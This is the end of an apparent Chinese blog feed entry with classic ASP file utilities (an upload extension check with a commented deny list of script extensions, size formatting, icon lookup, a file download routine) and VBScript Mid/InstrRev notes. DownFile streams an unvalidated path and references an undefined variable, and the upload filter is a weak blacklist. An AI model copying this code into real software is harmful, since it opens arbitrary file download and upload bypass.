CheckFileExt<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;参&nbsp;&nbsp;&nbsp;&nbsp;数: sFileExt 上传文件夹的后缀<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strExt&nbsp;&nbsp;&nbsp;&nbsp; 允许或禁止上传文件夹的后缀,多个以&#34;|&#34;分隔<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;blnAllow 是允许还是禁止上传 strExt 中指定的后缀<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;返回值: 合法文件返回 True ,否则返回False<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Function CheckFileExt(sFileExt,strExt,blnAllow)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim arrExt,return<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;= 禁止上传的文件列表<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;strExt = &#34;EXE|JS|BAT|HTML|HTM|COM|ASP|ASA|DLL|PHP|JSP|CGI&#34; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sFileExt = UCase(sFileExt)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strExt&nbsp;&nbsp;&nbsp;&nbsp; = UCase(strExt)&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrExt = split(strExt,&#34;|&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If blnAllow=true then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;只允许上传指定的文件<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return = false<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for i=0 to UBound(arrExt)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If sFileExt=arrExt(i) then return=true<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;response.write &#34;Ext: &#34;&amp;sFileExt &amp; &#34; return: &#34; &amp; return &amp; &#34;&nbsp;&nbsp;&nbsp;&nbsp; &#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;禁止上传指定的文件<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return = true<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for i=0 to UBound(arrExt)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If sFileExt=arrExt(i) then return=false<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CheckFileExt = return<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Function<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;作&nbsp;&nbsp;&nbsp;&nbsp;用: 格式化显示文件大小<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;FileSize: 文件大小<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Function FormatSize(FileSize)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If FileSize&lt;1024 then FormatSize = FileSize &amp; &#34; Byte&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If FileSize/1024 &lt;1024 And FileSize/1024 &gt; 1 then <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileSize = FileSize/1024<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FormatSize=round(FileSize*100)/100 &amp; &#34; KB&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Elseif FileSize/(1024*1024) &gt; 1 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileSize = FileSize/(1024*1024)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FormatSize = round(FileSize*100)/100 &amp; &#34; MB&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End function<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;作&nbsp;&nbsp;&nbsp;&nbsp;用: 取得文件对应的图标<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;函数名: FormatSize(FileSize)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;参&nbsp;&nbsp;&nbsp;&nbsp;数: FileName 文件名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;返回值: 合法文件返回 True ,否则返回False<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Function GetFileIcon(FileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim FileExt,Fso1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileExt = GetFileExt(FileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ImgPath= strAdminRoot &amp;&nbsp;&nbsp;&nbsp;&nbsp;&#34;Style/images/file/&#34; &amp; FileExt &amp; &#34;.gif&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set Fso1 = Server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If Fso1.fileExists(server.MapPath(ImgPath))=true then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetFileIcon= &#34;&lt;img src=&#34;&#34;&#34; &amp; ImgPath &amp; &#34;&#34;&#34;&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetFileIcon= &#34;&lt;img src=&#34;&#34;&#34; &amp; strAdminRoot &amp; &#34;Style/images/file/unknow.gif&#34; &amp; &#34;&#34;&#34;&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set Fso1=nothing<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Function<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;作用：下载文件。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;函数名： DownFile(FileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39; FileName<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;*******************************************************<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sub DownFile(FileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fname = server.MapPath(fname)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;filename=split(fname,&#34;\&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set objAdoStream=Server.cr&#101;ateObject(&#34;ADODB.Stream&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objAdoStream.Type=1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objAdoStream.open()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objAdoStream.LoadFromFile(fname)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strchar=objAdoStream.Read()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fsize=objAdoStream.size<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objAdoStream.Close()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set objAdoStream=nothing&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.AddHeader &#34;content-type&#34;,&#34;application/x-msdownload&#34; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.AddHeader &#34;Content-Disposition&#34;,&#34;attachment;filename=&#34; &amp; filename(ubound(filename))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.AddHeader &#34;content-length&#34;, fsize <br/>&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.BinaryWrite(strchar)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Flush()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br/>%&gt;<br/>------------------------------------------------------------------------------------------------------------------------------<br/><br/>附1:<br/><br/>Mid 函数 <br/>返回 Variant (String)，其中包含字符串中指定数量的字符。 <br/>语法 <br/>Mid(string, start[, length]) <br/>start 必要参数。为 Long。string 中被取出部分的字符位置。如果 start 超过 string 的字符数，Mid 返回零长度字符串 (&#34;&#34;)。 <br/>length 可选参数；为 Variant (Long)。要返回的字符数。如果省略或 length 超过文本的字符数（包括 start 处的字符），将返回字符串中从 start 到尾端的所有字符。 <br/><br/>有可能是你的start变量值大于字符串长度,导致返回空字符串,或者是变量值为0,导致错误<br/><br/>附2:<br/><br/>InstrRev的用法<br/><br/><br/>描述<br/>返回某字符串在另一个字符串中出现的从结尾计起的位置。 <br/>语法<br/>InstrRev(string1, string2[, start[, compare]])<br/>InstrRev 函数的语法有以下参数：<br/><br/>参数 描述 <br/>string1 必选。接受搜索的字符串表达式。 <br/>string2 必选。被搜索的字符串表达式。 <br/>start 可选。数值表达式，用于设置每次搜索的开始位置。如果省略，则默认值为 -1，表示从最后一个字符的位置开始搜索。如果 start 包含 Null，则出现错误。 <br/>compare 可选。在计算子字符串时，指示要使用的比较类型的数值。如果省略，将执行二进制比较。有关数值，请参阅“设置”部分。 <br/><br/><br/>设置<br/>compare 参数可以有以下值：<br/>常数 Value 描述 <br/>vbBinaryCompare 0 执行二进制比较。 <br/>vbTextCompare 1 执行文本比较。 <br/>vbDatabaseCompare 2 执行基于包含在数据库（在此数据库中执行比较）中的信息的比较。 <br/><br/><br/>返回值<br/>InStrRev 返回以下值：<br/>如果 InStrRev 返回 <br/>string1 为零长度 0 <br/>string1 为 Null Null <br/>string2 为零长度 start <br/>string2 为 Null Null <br/>string2 没有找到 0 <br/>在 string1 中找到 string2 找到匹配字符串的位置 <br/>start &gt; Len(string2) 0 <br/><br/><br/>说明<br/>请注意 InstrRev 函数的语法不同于 Instr 函数的语法。<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=218" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=218</id> 
  </entry>	
		
</feed>